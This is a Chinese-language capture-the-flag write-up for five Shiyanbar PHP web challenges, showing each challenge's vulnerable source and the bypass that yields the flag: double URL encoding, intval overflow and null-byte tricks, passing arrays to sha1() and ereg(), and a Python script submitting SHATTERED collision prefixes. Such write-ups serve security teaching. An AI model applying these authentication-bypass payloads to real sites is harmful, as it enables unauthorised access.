美文网首页
【CTF-PHP】Shiyanbar PHP

【CTF-PHP】Shiyanbar PHP

作者: Kirin_say | 来源:发表于2018-03-27 13:28 被阅读288次

    0x01 PHP大法

    打开后提示:

    Can you authenticate to this website? index.php.txt 
    

    访问 index.php.txt :

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    
    
    <br><br>
    Can you authenticate to this website?
    

    这里对id参数两次url编码即可:

    /index.php?id=%2568ackerDJ
    

    0x02 你真的会PHP吗?

    抓包发现hint:

     hint  6c525af4059b4fe7d8c33a.txt 
    

    访问文件得到源码:

    <?php
    
    
    $info = ""; 
    $req = [];
    $flag="xxxxxxxxxx";
    
    ini_set("display_error", false); 
    error_reporting(0); 
    
    
    if(!isset($_POST['number'])){
       header("hint:6c525af4059b4fe7d8c33a.txt");
    
       die("have a fun!!"); 
    }
    
    foreach([$_POST] as $global_var) { 
        foreach($global_var as $key => $value) { 
            $value = trim($value); 
            is_string($value) && $req[$key] = addslashes($value); 
        } 
    } 
    
    
    function is_palindrome_number($number) { 
        $number = strval($number); 
        $i = 0; 
        $j = strlen($number) - 1; 
        while($i < $j) { 
            if($number[$i] !== $number[$j]) { 
                return false; 
            } 
            $i++; 
            $j--; 
        } 
        return true; 
    } 
    
    
    if(is_numeric($_REQUEST['number'])){
        
       $info="sorry, you cann't input a number!";
    
    }elseif($req['number']!=strval(intval($req['number']))){
          
         $info = "number must be equal to it's integer!! ";  
    
    }else{
    
         $value1 = intval($req["number"]);
         $value2 = intval(strrev($req["number"]));  
    
         if($value1!=$value2){
              $info="no, this is not a palindrome number!";
         }else{
              
              if(is_palindrome_number($req["number"])){
                  $info = "nice! {$value1} is a palindrome number!"; 
              }else{
                 $info=$flag;
              }
         }
    
    }
    
    echo $info;
    

    很显然我们需要

    • is_numeric($_REQUEST['number']返回false,即:不能传入数字或数字字符串
    • req['number']!=strval(intval(req['number']返回false,即:需要我们进行弱类型比较时两者相等
    • value1!=value2返回false,即:传入的参数正逆intval转换后相等
    • is_palindrome_number($req["number"]返回false,即:str形式下的number参数正逆不同

    注意:

    • ini_set("display_error", false)设置没有报错回显
    • intval()返回的值范围为4字节,对于超过这个范围的值将用边界值代替。( intval的取值范围:与操作系统相关:
      32位系统上为-2147483648到2147483647,
      64位系统上为-9223372036854775808到9223372036854775807)
    • is_numeric中支持多种进制以及科学计数法“e”
    • intval() 不能用于 array 或 object
    • trim() 函数移除字符串两侧的空白字符或其他预定义字符
    • is_numeric和intval函数在开始判断和转换前,会先跳过所有空白字符,而trim过滤的字符中没有 "\f" 可以以此用%0c(\f)过滤,本题不用
    • 由于php存储浮点数的特殊性,也可用于绕过(0.00000000000000000001=0//true)
      最后BP发包
      number:
    0x00%00  //说实话,我不太明白这个为什么可以,它好像不能绕过$req['number']!=strval(intval($req['number'],而且0x00在is_numeric可以直接返回false,但直接传入不能绕过第一个条件,估计真实后台和这里有点区别
    或者
    2147483647%00
    

    补充:
    关于 intval:

    intval (var, base)
    
    参数列表:
    参数  描述
    var     必须。可以是任何标量类型。 intval() 不能用于数组 或 对象(类)。在此我得提一下标量类型包含四种:boolean(布尔型)integer(整型) float(浮点型, 也称作 double) string (字符串)
    base    可选。转化所使用的进制,默认10进制如果 base 是 0,通过检测 var 参数的格式来决定使用的进制:如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制如果字符串以 “0” 开始,使用 8 进制其他使用 10 进制
    
    for example:
    
    echo intval("0x1a", 0), "\n"; // 使用16进制。 结果 "26" 
    echo intval("057", 0), "\n"; // 使用8进制。 结果 "47" 
    echo intval("57"),"\n"; // 使用10进制。结果57
    echo intval("42", 0), "\n"; //  结果 "42" 
    

    其他相关姿势:
    http://www.chnpanda.com/961.html

    0x03 FALSE

    打开之后View the source code:

    <?php
    if (isset($_GET['name']) and isset($_GET['password'])) {
        if ($_GET['name'] == $_GET['password'])
            echo '<p>Your password can not be your name!</p>';
        else if (sha1($_GET['name']) === sha1($_GET['password']))
          die('Flag: '.$flag);
        else
            echo '<p>Invalid password.</p>';
    }
    else{
        echo '<p>Login first!</p>';
    ?>
    

    两个思路:
    sha1碰撞或者利用sha1()的漏洞
    法一:sha1碰撞:
    参考文档:https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
    引申md5碰撞:
    https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
    以下两文件sha1相同:
    https://shattered.io/static/shattered-1.pdf
    https://shattered.io/static/shattered-2.pdf
    直接脚本得flag:

    import urllib
    import  requests
    str1=urllib.quote(open("shattered-1.pdf", "rb").read()[:320])
    str2=urllib.quote(open("shattered-2.pdf", "rb").read()[:320])
    url="http://ctf5.shiyanbar.com/web/false.php?name=%s&password=%s" %(str1,str2)
    r=requests.get(url)
    print  r.content
    

    (不截取[:320]的话发现url过长(get下的url长度上限与服务器和浏览器有关),winhex下查看,其实两文件改变的是前320位,我们只取前320位,发现可以成功)

    法二:利用sha1()函数漏洞

    当我们向sha1()传入的参数是数组时,会由于无法处理数组类型,将报错并返回false,而利用"flase===flase",即可实现绕过
    这里我们传入:

    false.php?name[]=123&password[]=abc
    

    即得flag

    0x04 NSCTF web200

    打开发现源码:


    code

    脚本解决:

    str1="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"
    str2=str1.decode('rot13')[::-1].decode('base64')
    ans=""
    for  i  in  str2:
        ans+=chr(ord(i)-1)
    print   ans[::-1]
    

    其实也可以直接简化为:

    str1="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws".decode('rot13')[::-1].decode('base64')
    
    print "".join([chr(ord(i)-1) for i in str1])[::-1]
    

    0x05 Once More

    打开之后View the source code:

    <?php
    if (isset ($_GET['password'])) {
        if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        {
            echo '<p>You password must be alphanumeric</p>';
        }
        else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
        {
            if (strpos ($_GET['password'], '*-*') !== FALSE)
            {
                die('Flag: ' . $flag);
            }
            else
            {
                echo('<p>*-* have not been found</p>');
            }
        }
        else
        {
            echo '<p>Invalid password</p>';
        }
    }
    ?>
    

    利用ereg函数漏洞
    当我们传入数组,返回NULL
    当我们利用截断传入%00,返回true

    关于比较还有以下几点:

    数组具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较
    array与object和其他类型比较都会大一些
    这里构造:

    ?password[]=1
    或者
    ?password=1e9%00*-*
    

    传入即得flag

    END

    相关文章

      网友评论

          本文标题:【CTF-PHP】Shiyanbar PHP

          本文链接:https://www.haomeiwen.com/subject/svojcftx.html